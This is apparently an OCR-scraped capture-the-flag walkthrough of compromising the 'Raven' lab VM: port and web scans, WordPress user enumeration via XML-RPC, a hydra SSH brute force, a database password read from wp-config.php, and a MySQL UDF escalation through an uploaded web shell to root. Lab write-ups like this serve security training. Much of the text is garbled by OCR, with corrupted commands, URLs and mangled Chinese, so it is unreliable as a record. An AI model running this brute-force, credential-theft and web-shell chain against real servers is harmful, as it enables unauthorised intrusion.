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STATE SERVICE
open ssh
: ERROR: execution failed (use -d to debug)

*EXPLOIT*
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Nmap scan report for 192.168.58.135
Host is up (0.00054s latency).
Not shown: 997 closed ports
STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7pl Debian 5+deb8u4 (protocol 2.0)

| clamav-exec: ERROR: Script execution failed (use -d to debug)

| vulners:

cpe:/a:openbsd:openssh:6.7pl:
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CVE-2015-5600 8.5 https://vulners.com/cve/CVE-2015-5600
EDB-ID:40888 7.8 https://vulners.com/exploitdb/EDB-ID:40888
open http Apache httpd 2.4.10 ((Debian))
_clamav-exec: ERROR: Script execution failed (use -d to debug)
http-csrf:
Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.58.135
Found the following possible CSRF vulnerabilities:

Path: http://192.168.58.135:80/
Form id:
Form action: https://spondonit.usl2.list-manage.com/subscribe/post?u=1462626880adelac87bd9c93a&id=92a4423d

http://192.168.58.135:80/index.html
id:
action: https://spondonit.us12.list-manage.com/subscribe/post?u=1462626880adelac87bd9c93a&id=92a4423d

http://192.168.58.135:80/team.html
id:
action: https://spondonit.usl2.list-manage.com/subscribe/post?u=1462626880adelac87bd9c93a&id=92a4423d

http://192.168.58.135:80/contact.php
id: myform

action:

http://192.168.58.135:80/contact.php
id:
action: https://spondonit.usl2.list-manage.com/subscribe/post?u=1462626880adelac87bd9c93a&id=92a4423d

Path: http://192.168.58.135:80/service.html
Form id:
Form action: https://spondonit.us12.list-manage.com/subscribe/post?u=1462626880adelac87bd9c93a&id=92a4423d

http-dombased-xss: Couldn't find any DOM based XSS.
http-enum:
/wordpress/: Blog
/wordpress/wp-login.php: Wordpress login page.
/css/: Potentially interesting directory w/ listing on 'apache/2.4.10 (debian)’
/img/: Potentially interesting directory w/ listing on 'apache/2.4.10 (debian)’
/js/: Potentially interesting directory w/ listing on 'apache/2.4.10 (debian)'
/manual/: Potentially interesting folder
/vendor/: Potentially interesting directory w/ listing on 'apache/2.4.10 (debian)’
http-server-header: Apache/2.4.10 (Debian)
_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
111/tcp open rpcbind 2-4 (RPC #100000)

| clamav-exec: ERROR: Script execution failed (use -d to debug)
| rpcinfo:

| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 1eeece 2,3,4 111/udp  rpcbind
| 100000 111/tcp6 rpcbind
| 100000 111/udp6 rpcbind
| 100024 36643/udp  status
| 100024 43393/tcp  status
| 100024 45218/udp6 status
| 100024 51880/tcp6 status




e
O & 19216858135

f ¥ @ B +880 012 3854896 Register/Login

. Security Services HOME ~ ABOUTUS ~ SERVICE  TEAM  BLOG  GONTACT

LOOKING FOR THE BEST?

Raven Security - The Professionals

Established in 1987, Raven Security is a world leader in Physical and Cyber Security.

HHiB® K .0s_Store LA wordpress Hx, 1l:

[*] Use crawl mode

[200] [None] [18. 00kb] | http://192. 168. 58. 135/. DS_Store

[200] [text/html] [3. 6dkb] http://192. 168. 58, 135/index. html

[200] [text/html][201. 00b] http://192. 168, 58. 135/manual/index. html

[200] [application/javascript] [493, 00b] http://192. 168, 58, 135/ js/mail-script. is

[200] [imaze/jpez] [42. 62kb] http://192. 168, 58. 135/imz/z1. ipg

[200] [application/javascript] [2, 56kb] http://192. 168. 58, 135/ js/waypoints. min. is

[200] [text/cas][1. 62kb] http://192. 168.58. 135/ css/1inearicons. cas

[200] [text/html ; charset=UTF-8]1[2. 89kb] http://192. 168. 58, 135/ contact. php

[200] [application/javascript] [1. 8dkk] http:// 192, 168, 58, 135/ i=/superfish. min. js

[200] [image/jpeg] [51. 57kb] http://192, 168. 58, 135/ing/g7. jpg

[200] [text/css][7. 96kb] http://192. 168.58. 135/ css/main. css

[200] [image/jpeg] [25. 42kb] http://192. 168. 58, 135/ing/g4. jpg

[200] [application/javascript] [1. 16kk] http:// 192, 168, 58. 135/ js/ jquery. ajaxchimp. min. js
[200] [text/html ] [2. 90kb] http://192. 168. 58. 135/ team html

[200] [imaze/ jpez] [31. 31kb] hitp://192. 168, 58, 135/im=/25. ipg

[(200] [imaze/ jpeg] [15. 78kb] http://102. 188. 58, 135/imz/g3. ipg

[200] [image/ jpes] [16. 36kb] http://192. 16%. 58. 135/ime/bd. ipz

[200] [imaze/jpez] [14. 12kb] http://192. 168, 58. 135/imz/b3. ipg

[(200] [text/html ] [3. Bdkk] http://192. 168, 58, 135/index. html

[200] [text/css] [3. 86kb] http://192. 168. 58, 135/ ces/animate. min. css

[(200] [text/html] [3. 34kk] http://192. 168, 58. 135/about. html

[200] [imaze/ jpez] [15. 2Bkb] http://192. 168. 58. 135/imz/=1. ipg

[200] [image/jpeg] [22. 46kb] http://192. 168. 58, 135/ing/s2. jpg

[200] [imaze/ ipez] [15. 42kb] hitp:/ /192, 168, 58, 135/im=/bl. ipg

[200] [application/javascript] [12. 80kb] http://102. 168. 58. 135/ js/vendor/bootstrap. min. js
[200] [application/javascript] [29. 12kb] http://192. 163, 58. 135/ js/vendor/ jquery-2. 2. 4. min. js
[200] [text/cas] [1. 03kb] http://192. 168. 58. 135/ cas/nice-select. cas

Entering directory: http://192.168.58.135/wordpress/wp-admin/maint/ ——
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode "-w' if you want to scan it anyway)

—— Entering directory: http://192.168.58.135/wordpress,/wp-admin/network/ ——
+ http://192.168.58.135/wordpress/wp-admin/network/admin.php (CODE:302|SIZE:0)
+ http://192.168.58.135/wordpress/wp-admin/network/index.php (CODE:302|SIZE:0)

—— Entering directory: http://192.168.58.135/wordpress/wp-admin/user/ ——




+ http://192.168.58.135/wordpress/wp-admin/user/admin.php (CODE:302|SIZE:0)
+ http://192.168.58.135/wordpress/wp-admin/user/index.php (CODE:302|SIZE:Q)

—— Entering directory: http://192.168.58.135/wordpress/wp-content/languages/ —
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

Entering directory: http://192.168.58.135/wordpress/wp-content/plugins/ ——
+ http://192.168.58.135/wordpress/wp-content/plugins/index.php (CUDE:2@@|SIZE:@J

—— Entering directory: http://192.168.58.135/wordpress/wp-content/themes/ ———
+ http://192.168.58.135/wordpress/wp-content/themes/index.php (CODE:200|SIZE: @)

Entering directory: http://192.168.58.135/wordpress/wp-content/upgrade/ ——
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

FIH ds_store_exp SRHUEN SO TR SO, AR &0 SCHERT KB contact. zip 3O, Wil

:~% dirb http://192.168.58.135 -X .zip

DIRB v2.22
By The Dark Raver

START_TIME: Thu Mar 24 23:48:55 2822

URL_BASE: http://192.168.58.135/

WORDLIST_FILES: /fusr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.zip) | (.zip) [NUM = 1]

GENERATED WORDS: 4612

Scanning URL: http://192.168.58.135/ —
+|http://192.168.58.135/contact.zip (CUDE:E@@|SIZE:3384]

BHE AR K Dphp s, (HR AR EAH B A DRI, 0.

</
<
<?php
(isset($ REQUEST[ "action’])){
$name=$_REQUEST[ "name'];
$email-¢ REQUEST[ 'email'];
$message=%_ REQUEST[ "'message’];
(($name=="") | | ($email=="") | ($message—="")){
echo "There are missing fields.";

{
‘vulnerable/PHPMailerAutoload.php';
$mail PHPMailer;
$mail->Host "localhost™;
$mail->setFrom{($email, 'Vulnerable Server');
$mail->addAddress( " admin@vulnerable.com', ‘Hacker');
$mail->Subject "Message from $name";
$mail->Body $message;
(!$mail->send()) {
echo 'Message was not sent.';
echo "Mailer error: ' $mail->ErrorInfo;

{

echo "Message has been sent.';
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Skip to content
Raven Security

Raven Security,

Just another WordPress site

Scroll down to content

Posts
Posted on August 12, 2018
Hello world!

‘Welcome to WordPress. This is your first post. Edit or delete it. then start writing!

Search for:

Search
Recent Posts
~ Hello world!
Recent Comments

+ A WordPress C: ter on Hello world!

Archives

* August 2018
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POSTS

AUGUST 12, 2018
Hello world! Search n
Welcome to WordPress. This is your first post. Edit or delete it, then start

RECENT POSTS
writing!

Hello world!

RECENT COMMENTS

A WordPress Commenter on Hello world!

ARCHIVES

August 2018

CATEGORIES

Uncategorised

META

Mt AR B F T, 2288 N Bk fE R P A AN IER, ISR R P44, .

O @& ravenlocal/wordpress/wp-login.php

W

| ERROR! Invalid username. Lost your password?

Remember be

Lost your password?

+~ Back to Raven Security
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{1 [f] wpscan --url http://raven.local/wordpress/ 14 Hbr & xmlrpc.php , I :

(Bl shell No.1 - hd

MPF(E) ZhfE(A) fRIB(E) EB() ®EIH)

URL: http aven. 1
Started: Now b

XML-RPC seems to be enabled: L en. Ll jordpre xmlrpc.php
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WordPre readme found:

Found By: ct Access

http: . rdpre up-cron.php

tion)

id-wordpress-from-ddos
issue 99

X

{fifF twentyseventeen A N 1.3, 1l

rsion is

: the WordP
URI: https

Version:
Found B
- http
'Version: 1.3

Enumerating ALL Plu

{fiffl dnsrecon -d raven.local -t brt M Z5 IS, HHEWordPress xmirpe.php il 1, B M sl S ial il e 5, 4
burpZk il username ML J5EHE, K.

Send Cance Target: http:/fraven.local / ®

Request Response

Raw | Params | Headers | Hex | XML Raw | Headers | Hex | XML

L POST /wordpress/zmlrpec. php HTTR/1.1 -‘ 1 HITR/1.1 200 OK r{
2 Host: raven.local 2 Date: Sat, 06 Nov 2021 13:47:07 GMT
3 User—Agent: Mozilla/5.0 (Windows NT 10.0: Win64: x=64: rv:90.0) Gecke/20100101 2 Server: Apache/2.4.10 (Debian)
Firefox/90.0 4 Connection: close
4 Accept: text/htunl.application/zhtml+znl.application/=ml:q=0.9, image/webp, #/#%;q=0.8 5 Vary: Accept-Encoding
5 Accept-Language: zh—CN, zh;g=0. 8, zh-1W;g=0. 7, zh-HK ¢=0. 5, en-U3; g=0. 3, en; g=0. 2 & Content-Length: 4272
G Accept—Encoding: gzip, deflate 7 Content-Type: text/xml; charset=UIF-8
7 Comnection: close g
& Cookie: wordpress_test_cookie=WP+lookie+check 93 <7xnl version="1.0" encoding="UTF-8"7>
9 Upgrade-Insecure-Requests: 1 10E <methodResponse’
10 Cache-Control: max-age=0 118  <params>
11 Content-Type: application/xz—www—form—urlencoded 12g <param’
12 Content—Length: 91 138 <waluer
13 143 <arrayr<data>
14 <methodCall> 15 <valuer<string»systen. multicall</string></valus>
15 <methodName»system. listMethods</methodName> 16 <valuer<stringrsystem listMethods</string></value>
16 <params></params> 17 <valuer<stringrsysten. getCapabilities</string></value>
17 4/methodCall> 18 <value<stringdemo. addTwollumbers</string: </ value>
19 <valuer<stringrdemo. sayHello</string></valus>
20 <value><string pingback. extensions. getPingbacks</string></value>
21 <valuer<string pingback. ping</string></value>
22 <value><string’mt. publishPost</string></value>
23 <valuer<string mt. getTrackbackPings</string></value>



https://www.jianshu.com/p/42e3b065ad76

value»<string>mt. supportedTextFilters</string></value>

<
<value><string’mt. supportedfethods</ string></value>
<valuer<string’mt.setPostCategories</string></value>
<value><{string’mt. getPostCategories</string></value>
<valuer<string mt. getRecentPostTitles</string></value>
<valuer<string’mt. getCategorylist</string></value>
30 <valuer<string'metaWeblog. getUsersBlogs</string></valus>
31 <value><string metaWeblog. deletePost</string»</value>
32 <valuer<string metaWeblog. newMediaObject</string></value>
33 <value’¢string'metaWeblog. getCategories</string></valus>
: 34 <valuer<string metaWeblog. getRecentPosts</string></value>
MR michael Fl steven H /7, 4
| &
Attack Sawve Columns
J Results ITarget T Positions I Payloads T Options 1
Filter: Showing all items ®
Request | Payload | Status | Error | Timeout | Length ¥ | Comment
6113 michael 200 LJ L] 3920 [I_
7944 steven 200 L [ 3918 t)
0 200 J [} 387
1 Iroot 200 L [ 3871
2 SALOCS 200 J [} 387
3 Bsystem 200 L L 3871
4 1 200 J [} 387
5 11 200 L [ 3871
6 1111 200 J [} 387
7 2 200 O O 38M Fi
Request Response‘
J Raw I Headers T Hex T HTML I Render ]
. L o i
378 <div id="login" » -
38 <hlz<a href="https: //wordpress. org/” title="Powered by WordPress" tabindex="-1" Raven Securitv</ar</hl:
398 Zdiv 1d="login_error” > <strong *ERROR</strongs: The password you entered for the username <strongrmichasl</

strongr 1s incorrect. <a href="http://raven. local/wordpress/wp—login. php?action=lostpassword” *Lost vour
password?< S ar<hr />
40 <fdive
41
42F <form name="loginform” 1d="loginforn” action="http://raven. local/wordpress/wp—login. php” method="post”>
43 ipr

44 <label for="user_login”:Username or Email Address<hbr />

45 <input type="text” name="log” id="user login” aria-describedbyv="login_error” class="input” wvalue="

michaesl” size="20" /></label>
46 o

47 ipr

a

<label for="user_pass”:Password<hr />

=
¥

@ [_J U [_J e 7 search term 0 matches

Finished |
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[DATA] max 16 tasks per 1 server, overall 16 tasks, 43033197 legin tries (1:3/p:14344399), ~2689575 tries per ta
sk

[DATA] attacking ssh://192.168.58.135:22/

[22]1[ssh] host: 192.168.58.135 login: michael password: michael

[STATUS] 14344573.0@ tries/min, 14344573 tries in @0:@1h, 28688626 to do in @@:@2h, 16 active

[STATUS] 7172327.50 tries/min, 14344655 tries in @@:02h, 28688544 to do in @@:@4h, 16 active

[STATUS] 3586223.75 tries/min, 14344895 tries in 0@:04h, 28688304 to do inm 0@:@8h, 16 active

I 1 ) H
(PR e 73 85T B kssh 2, AR

:~% ssh michael@®192.168.58.135
The authenticity of host '192.168.58.135 (192.168.58.135)" can't be established.
ECDSA key fingerprint is SHA256:rCGKSPg@sUfasmgn/8/MBT630xqkEIR39pi8350SDo8.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.58.135' (ECDSA) to the list of known hosts.
michael®192.168.58.135's password:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in fusr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent

permitted by applicable law.

You have new mail.

michael@Raven:~% id

uid=1000(michael) gid=188@(michael) groups=180@(michael},24(cdrom),25(floppy),29(audic),30(dip),44(video),46(plu
gdev),108(netdev)

michael@Raven:~% [

7E /var/wuw T R Biflag2.txt, 7E /var/www/html/wordpress T &I ErootH i : R@v3nSecurity , W

michael@Raven:/var/wmi/html/wordpress$ cat wp-config.php
<?php
Sk

kS

The base configuration for WordPress

The wp-config.php creation script uses this file during the
installation. You don't have to use the web site, you can
copy this file to "wp-config.php" and fill in the values.

This file contains the following configurations:
MySQL settings
secret keys
Database table prefix

ABSPATH

@link https://codex.wordpress.org/Editing_wp-config.php

* % ¥ ¥ ¥ ¥ ¥ ¥ ¥ ¥ * ¥ * ¥ ¥

mpackage WordPress

X

// %% MySQL settings - You can get this info from your web host *x //
/** The name of the database for WordPress */
define('DBE_NAME', 'wordpress’);

/%% MySQL database username »*/
define('DB_USER', 'root');

J*% MySQL database password */
define( "DB_PASSWORD', | ERETI4IF R4

BURR 32
{# F sudoir 2 & BLi% H F* ASfEsudoers 1.

UDFi£4X




EAR K fom e, Wi

W http://192.168.58.135/shell.php — O *
URL: | http://192.168.58.135/shell.php BisE
EHEE | wSHiT | EHEE | oHER | NEE | BEchell| HEEERE | EEMUKB | FOo=A | FEIRE | 8= | EFEE
=pnst
=EAT.:  VPSHE @ HITPEEE
BirrmIPiEat:  127.0.0.1 BtrRpE=O: 3306
i
FithkenTiPiEhk: - 0.0.0.0 Fipdrmsl: 3306
“BEETHTTPEENSENRS, SREEFAMEORsEE, EATERFEEMASER.
SocksEEE
=EAT: @ VPSHE HTTPEEE
EHYEIRIPHENE:  110.112.45.174 HbUIER]: | 2222 =
“BEETHTTPEENEEsockstE, iR ETRMMsockstEREFRIEH, BERTER LRGN,
EEDMZ
YOTiPHEtE:  8.8.88 wrmsO: 2222 =
*HEfFARAEEE, S VPSiIrAnERshEEFEAM, AETEinAHRInEEE L,
¥ ETHE
[INFOIIEfE SR it 1:3306
[INFOIREE AR,
[INFOIBEERIERT.
[INFOIRSE TR,
[INFOIRRE IR,
[INFOIEEE AR,
[OKIEZED, EFEEET=. 7K¥8 v3.0 Beta 7 | By rebeyond
i FIMDUTIE 250 e AT UDFHE R, 3k root A AL PR, Al
@ tysql - 127.0.0.1 - SfiEE - a ®
TIESEE
UDFER NTFSEEE = (win) EER
Windows 53 Shell
o B Gol
ST
id UTF-8 ~ 4T

I uid=0(root) gid=0(roct) groups=0(root)




= i ST

[*] 2022-03-25 00:28:25 - IETEESE...

[*] 2022-03-25 00:28:25 - EEEI!

[*] 2022-03-25 00:28:25 - mysqliE®: 5.5.60-0+debBul EHFE: debian-linux-gnu EH{LE: x86 64
[*] 2022-03-25 00:28:25 - FHBUDFNEET], AIE B TUDHER

[7] 2022-03-25 00:28:32 - EES AR

[] 2022-03-25 00:28:32 - Y sys_eval SIEHTRT

1£ /root & Hflagd.txt, Wll:

@ tysal - 127.0.0.1 - SfEE

TIREEEE

| UDFEEL | | NTFSHEER(win) | | EEE |

Windows FiE Shell

[Eistint sl

[eens]

cat froot/flagd.txt

A
(/AR VI SRS
[NV AT
AU VAN E A

flag4{715deabc055b9fe33 3754403212941 ce}
CONGRATULATIONS on successfully rooting Raven!

This is my first BootZRoot VM - | hope you enjoyed it.
Hit me up on Twitter and let me know what you thought:

@meccannw] / wjmeccann.github.io

= = Theal

[*] 2022-03-25 00:38:37 - [EEE..

[*] 2022-03-25 00:38:37 - EEiEERETN!

[*] 2022-03-25 00:38:37 - mysqlif#: 5.5.60-0+debBul EHTFE: debian-linux-gnu EHUE: 86 64
[*] 2022-03-25 00:38:37 - FHBUDFIliE{LAETH AT i3 TUDFIZE

[¥] 2022-03-25 00:38:40 - BSOS AR

[] 2022-03-25 00:38:40 - E27 sys_eval BERHTRHE

UTF-8

SUDO# X
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Wp_commentme
wp_comments
wp_links
wp_options
wp_postme
wp_posts
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Using
Loaded
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i HIZE S AT 5% steven , WA

en Security—V. X+

O & ravenlocal

ecurity W 40+ New

WordPress 5.9.2 is available! Please notify the site administrator.

A Posts
8 Media Dashboard
2
W Pages Ata Glance N Quick Draft .
¥ comments @ X ;
A 1 Post I 1 Page Title
& Profile B 1 Comment %@ 40 in moderation

& Tools WordPress 4:8.19 running Twenty Seventeen theme.

Activity N

Recently Published

Aug 12th 2018, 1049 pm Hello world!
WordPress Events and News A
Recent Comments
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